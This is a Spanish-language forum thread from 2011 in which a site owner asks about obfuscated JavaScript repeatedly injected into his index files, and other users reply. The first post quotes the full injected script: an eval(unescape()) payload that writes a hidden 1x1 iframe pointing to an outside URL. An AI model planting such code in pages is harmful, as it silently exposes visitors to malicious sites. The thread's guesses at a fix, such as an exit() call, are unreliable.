Foros del Web » Administración de Sistemas » Seguridad y redes »

Un troyano en mi servidor??

Estas en el tema de Un troyano en mi servidor?? en el foro de Seguridad y redes en Foros del Web. He buscado en internet sobre esto, y pues muchos dicen que es culpa del cliente ftp, yo utilizo fillezilla, y nunca ha mostrado estos problemas, ...
  #1 (permalink)  
Antiguo 19/02/2011, 17:07
Avatar de danneg  
Fecha de Ingreso: agosto-2009
Ubicación: Todo un mundo de posibilidades
Mensajes: 856
Antigüedad: 10 años, 9 meses
Puntos: 48
Exclamación Un troyano en mi servidor??

He buscado en internet sobre esto, y pues muchos dicen que es culpa del cliente ftp, yo utilizo fillezilla, y nunca ha mostrado estos problemas, el problemas es de hace unos dias, ya que no subi todo, y despues de 3 dias, mis archivos index, tenian un codigo js de este tipo

Código html:
Ver original
  1. <script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%65%64%76%62%2E%63%6F%6D%2F%3F%33%32%35%31%33%35%39%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script><!-- uy7gdr5332rkmn -->

eso se muestra al final de la pagina, y ha aparecido un par de veces

Lo traduje y pues vi que creaba un iframe al fina que me lleba a esta direccion

http://sedvb.com/?3251359

... Como puedo resolverlo ?
__________________
- Daniel García (@dannegm)
- [follow me | fork me on github...]

Última edición por danneg; 19/02/2011 a las 17:10 Razón: Muchas faltas de otografia
  #2 (permalink)  
Antiguo 19/02/2011, 19:25
Avatar de danneg  
Fecha de Ingreso: agosto-2009
Ubicación: Todo un mundo de posibilidades
Mensajes: 856
Antigüedad: 10 años, 9 meses
Puntos: 48
Respuesta: Un troyano en mi servidor??

Por ahora no ha vuelto aparecer ese codigo en todo el dia que estube trabajando, pero se me estubo ocurriendo algo para prevenir que vuelva a suseder..

nececito su punto de vista.. creen que esto se prevenga insertando una funcion del tipo exit(); al final de mi archivo para que no se ejecute el resto del codigo?

creen que esto podria servir? o busco otra forma??
__________________
- Daniel García (@dannegm)
- [follow me | fork me on github...]
  #3 (permalink)  
Antiguo 19/02/2011, 22:05
 
Fecha de Ingreso: febrero-2008
Ubicación: /home/public_html
Mensajes: 551
Antigüedad: 12 años, 3 meses
Puntos: 10
Respuesta: Un troyano en mi servidor??

Esto me sucedido, no por lo que dices, si no que tenia un prefabricado y un enlace fue modificado por no se quien, llevandose un trafico a esa web sin darme cuenta, me di cuenta al ver un enlace que jamas habia agregado.

Pero en tu caso lo mas practico es que te han hackeado y te estan metiendo un iframe sin tu concentimiento, no se como se llama eso, pero creo que tiene un nombre.

Lo mas practico es que si es una web de pocas paginas analiza en todas las paginas revisa, porque esto puede ser perjudicial a que los buscadores te den tarjeta roja, y poniendo en duda tu pagina web.
__________________
Jabin Esban
  #4 (permalink)  
Antiguo 27/02/2011, 16:32
Avatar de danneg  
Fecha de Ingreso: agosto-2009
Ubicación: Todo un mundo de posibilidades
Mensajes: 856
Antigüedad: 10 años, 9 meses
Puntos: 48
Respuesta: Un troyano en mi servidor??

de hecho he revisado todo, como dices, por eso me di cuenta que es en cada uno de los index, pero eso me perjudica por que el sistema que estoy desarrollando lo muestra todo en el index, pero pues al parecer ya no ha pasado, muchas gracias por tu comentario, pero solo una duda... que sistema usabas?? para saber mas acerca de esto XD..
__________________
- Daniel García (@dannegm)
- [follow me | fork me on github...]

Etiquetas: servidores, troyanos
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 13:59.